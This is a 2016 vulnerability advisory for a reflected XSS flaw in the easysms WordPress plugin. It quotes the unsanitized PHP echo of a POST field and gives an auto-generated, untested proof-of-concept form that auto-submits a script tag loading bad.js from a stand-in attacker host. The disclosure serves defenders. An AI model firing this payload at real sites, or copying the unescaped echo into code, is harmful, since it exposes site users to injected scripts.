Advisory #: 1149
Title: Reflected XSS in wordpress plugin easysms v2.0.7.2
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/easysms
Downloads: 22961
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: easysms
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./easysms/sms_message_menu.php: 167: <input class='easysms' type="hidden" name="sms_recipients" value="<? echo $_POST['sms_recipients'] ?>"> The variable sms_recipients appears to send unsanitized data back to the users browser via POST request.
CVE-ID: Not Released
File:./easysms/sms_message_menu.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. XSS POST exploit modified from http://blog.portswigger.net/2007/03/exploiting-xss-in-post-requests.html
  3. <form name=TheForm action=http://[target]/wp-content/plugins/easysms/sms_message_menu.php method=post> <input type=hidden name=sms_recipients value=&quot;&gt;&lt;script&#32;src=http://attacker/bad.js&gt;&lt;/script&gt;> </form> <script> document.TheForm.submit(); </script>